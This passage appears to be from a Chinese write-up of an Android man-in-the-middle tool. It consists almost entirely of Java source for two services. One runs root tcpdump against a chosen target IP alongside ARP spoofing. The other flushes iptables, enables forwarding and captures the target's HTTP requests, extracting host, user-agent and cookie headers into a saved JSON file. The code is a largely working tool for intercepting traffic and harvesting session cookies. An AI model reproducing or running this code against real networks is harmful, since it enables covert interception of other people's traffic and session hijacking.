        return null;
    }
}
```

SniffService.java（数据嗅探服务）

```
/**
 * @Title: SniffService.java
 * @Package: com.github.fdxxw.mitmstu.service
 * @Description: TODO
 * @author fdxxw ucmxxw@163.com
 * @date 2017年4月9日 下午11:11:44
 */
package com.github.fdxxw.mitmstu.service;
import java.text.SimpleDateFormat;
import java.util.Date;
import com.github.fdxxw.mitmstu.common.AppContext;
import com.github.fdxxw.mitmstu.utils.ShellUtils;
import android.content.Intent;
import android.os.IBinder;
/**
 * 数据嗅探服务
 * @author fdxxw ucmxxw@163.com
 * @date 2017年4月9日 下午11:11:44
 */
```

```
public class SniffService extends BaseService {
    /** 数据嗅探命令*/
    private String tcpdump_cmd = null;
    /** 执行嗅探线程 */
    private Thread tcpdump;
    /** 保存嗅探数据的文件名*/
    public static String sniff_file_name = null;
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        SimpleDateFormat df = new SimpleDateFormat("ddHHmm");
        String date = df.format(new Date());
        sniff_file_name = "tcpdump_" + date + ".pcap";
        tcpdump_cmd = "tcpdump -w '" + AppContext.getmStoragePath() + "/" +
sniff_file_name + "'"
                + " host " + AppContext.getTarget().getIp();
        startSniff();
        return super.onStartCommand(intent, flags, startId);
    }
    @Override
    public IBinder onBind(Intent arg0) {
        return null;
    }
    private void startSniff() {
        startArpService();
        tcpdump = new Thread() {
            @Override
            public void run() {
                ShellUtils.execCommand(tcpdump_cmd, true, false, false);
            }
        };
        tcpdump.start();
        AppContext.isSniffRunning = true;
    }
    private void stopSniff() {
        if(tcpdump != null) {
            tcpdump.interrupt();
            tcpdump = null;
        }
        new Thread() {
            @Override
```

```
            public void run() {
                ShellUtils.execCommand("killall tcpdump", true, false, true);
            }
        }.start();
        AppContext.isSniffRunning = false;
        stopArpService();
    }
    @Override
    public void onDestroy() {
        stopSniff();
        super.onDestroy();
    }
}
```

ProxyService.java（数据劫持服务）

```
/**
 * @Title: ProxyService.java
 * @Package: com.github.fdxxw.mitmstu.service
 * @Description: TODO
 * @author fdxxw ucmxxw@163.com
 * @date 2017年4月11日 下午3:15:17
 */
package com.github.fdxxw.mitmstu.service;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import android.content.Intent;
import android.util.Log;
import com.alibaba.fastjson.JSON;
import com.github.fdxxw.mitmstu.common.AppContext;
import com.github.fdxxw.mitmstu.common.HttpPacket;
import com.github.fdxxw.mitmstu.utils.FileUtils;
import com.github.fdxxw.mitmstu.utils.ShellUtils;
```

```
/**
 * 代理服务，路由转发
 * @author fdxxw ucmxxw@163.com
 * @date 2017年4月11日 下午3:15:17
 */

public class ProxyService extends BaseService {
    /** 开启ip转发 */
    public static String[] START_IP_FORWARD = {
            "iptables -t nat -F",
            "iptables -F",
            "iptables -X",
            "iptables -P FORWARD ACCEPT"};
    /** 删除对应的规则*/
    public static String UN_ALTER_SOURCE_ADDRESS_CMD ;
    /** 删除对应的规则 */
    public static String UN_ALTER_TARGET_ADDRESS_CMD;
    public static String[] HIJACK_CMD = new String[2];
    public static String[] UN_HIJACK_CMD = new String[2];
    private Intent intent = null;
    private Thread hijack = null;
    /** 劫持数据命令*/
    private String hijack_cmd = null;
    /** 保存数据劫持的文件名*/
    public static String hijack_file_name = null;
    private Intent intent2 = new Intent("com.github.fdxxw.mitmstu.RECEIVER");
    public Map<String,HttpPacket> dataMap = new HashMap<String,HttpPacket>();
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        this.intent = intent;
        String targetIp = intent.getStringExtra("targetIp");
        String attackerIp = intent.getStringExtra("attackerIp");
        SimpleDateFormat df = new SimpleDateFormat("ddHHmm");
        String date = df.format(new Date());
        hijack_file_name = "hijack_" + date + ".json";
                hijack_cmd = "tcpdump "
            + " -A -s 0 -n 'host " + AppContext.getTarget().getIp() + " and tcp and
(tcp[20:2]=0x4745 or tcp[20:2]=0x4854)'";
        startHiJack();
        return super.onStartCommand(intent, flags, startId);
```

```
    }
    /**
     * 启动数据劫持
     * @author fdxxw ucmxxw@163.com
     */
    private void startHiJack() {
        startArpService();
        hijack = new Thread() {
            public void run() {
             try {
                ShellUtils.execCommand(START_IP_FORWARD, true, false, true);
                Process process = Runtime.getRuntime().exec("su");
                DataOutputStream os = new
DataOutputStream(process.getOutputStream());
                os.write(hijack_cmd.getBytes());
                os.write("\n".getBytes());
                new OutputProcessor(process.getErrorStream(),"tcp_err").start();
                new OutputProcessor(process.getInputStream(),"tcp_suc").start();
                int i = process.waitFor();
                Log.d("tcp", i + "");
             } catch(Exception e) {
                e.printStackTrace();
             }
            };
        };
        hijack.start();
        AppContext.isHijackRunning = true;
    }
    /**
     * 停止数据劫持服务
     * @author fdxxw ucmxxw@163.com
     */
    private void stopHiJack() {
    Log.i("json", JSON.toJSONString(dataMap));
    FileUtils.storeData(new File(AppContext.getmStoragePath() + "/" +
hijack_file_name), JSON.toJSONString(dataMap));
        if(hijack != null) {
            hijack.interrupt();
            hijack = null;
        }
```

```
        new Thread() {
            public void run() {
                ShellUtils.execCommand("killall iptables", true, false, true);
                ShellUtils.execCommand("killall tcpdump", true, false, true);
                //ShellUtils.execCommand(UN_HIJACK_CMD, true, false, true);
            };
        }.start();
        AppContext.isHijackRunning = false;
        stopArpService();
    }
    @Override
    public void onDestroy() {
        stopHiJack();
        super.onDestroy();
    }
    /**
     * 执行终端命令的输出处理
     * @author fdxxw
     *
     */
    class OutputProcessor extends Thread{
    private InputStream inputStream;
    private String tag;
    public OutputProcessor(InputStream inputStream,String tag) {
        this.inputStream = inputStream;
        this.tag = tag;
        }
    @Override
    public void run() {
        try {
            String regxCut = "^(\\d{2}:){2}\\d{2}\\.(.*?)";
            Pattern pattCut = Pattern.compile(regxCut);
            Matcher matcCut = null;
                InputStreamReader isr = new InputStreamReader(inputStream);
                BufferedReader br = new BufferedReader(isr);
                HttpPacket httpPacket = null;
                String line;
                while ((line = br.readLine()) != null) {
                    intent2.putExtra("message", line);
                    sendBroadcast(intent2);
```

```
            matcCut = pattCut.matcher(line);
            if(matcCut.find()) {
                if(httpPacket != null && httpPacket.getHost() != null) {
                    dataMap.put(httpPacket.getHost(), httpPacket);
                }
                httpPacket = new HttpPacket();
                httpPacket.setTime(line);
            }
            if(httpPacket != null) {
                processLine(httpPacket, line);
            }
            Log.d(tag, line);
           }
        } catch (Exception e) {
         Log.d(tag, e.getMessage());
        }
}
}

public static HttpPacket processLine(HttpPacket httpPacket,String line) {
if(httpPacket == null) {
    httpPacket = new HttpPacket();
}
String regxPath = "(.*?)(GET|POST)(.*?)HTTP/1.1(.*?)";
String regxHost = "^(Host:).*?";
String regxConnection = "^(Connection:).*?";
String regxUserAgent = "^(User-Agent:).*?";
String regxAcceptEncoding = "^(Accept-Encoding:).*?";
String regxAcceptLanguage = "^(Accept-Language:).*?";
String regxAcceptCharset = "^(Accept-Charset:).*?";
String regxCookie = "^(Cookie:).*?";
Pattern pattPath = Pattern.compile(regxPath);
Pattern pattHost = Pattern.compile(regxHost);
Pattern pattConnection = Pattern.compile(regxConnection);
Pattern pattUserAgent = Pattern.compile(regxUserAgent);
Pattern pattAcceptEncoding = Pattern.compile(regxAcceptEncoding);
Pattern pattAcceptLanguage = Pattern.compile(regxAcceptLanguage);
Pattern pattAcceptCharset = Pattern.compile(regxAcceptCharset);
Pattern pattCookie = Pattern.compile(regxCookie);
Matcher matcPath = pattPath.matcher(line);
```

```
    Matcher matcHost = pattHost.matcher(line);
    Matcher matcConnection = pattConnection.matcher(line);
    Matcher matcUserAgent = pattUserAgent.matcher(line);
    Matcher matcAcceptEncoding = pattAcceptEncoding.matcher(line);
    Matcher matcAcceptLanguage = pattAcceptLanguage.matcher(line);
    Matcher matcAcceptCharset = pattAcceptCharset.matcher(line);
    Matcher matcCookie = pattCookie.matcher(line);
    if(matcPath.find()) {
        httpPacket.setPath(matcPath.group(3).trim());
    } else if(matcHost.find()) {
        httpPacket.setHost(line);
    } else if(matcConnection.find()) {
        httpPacket.setConnection(line);
    } else if(matcUserAgent.find()) {
        httpPacket.setUser_agent(line);
    } else if(matcAcceptEncoding.find()) {
        httpPacket.setAccept_encoding(line);
    } else if(matcAcceptLanguage.find()) {
        httpPacket.setAccept_language(line);
    } else if(matcAcceptCharset.find()) {
        httpPacket.setAccept_charset(line);
    } else if(matcCookie.find()) {
        httpPacket.setCookie(line);
    }
    Log.i("json", JSON.toJSONString(httpPacket));
    return httpPacket;
    }
    public static void putData(Map<String,HttpPacket> dataMap,HttpPacket packet) {
    HttpPacket pre = null;
    if((pre = dataMap.get(packet.getHost())) != null) {
        pre.getPaths().add(packet.getPath());
    } else {
        packet.getPaths().add(packet.getPath());
        dataMap.put(packet.getHost(), packet);
    }
    }
}
```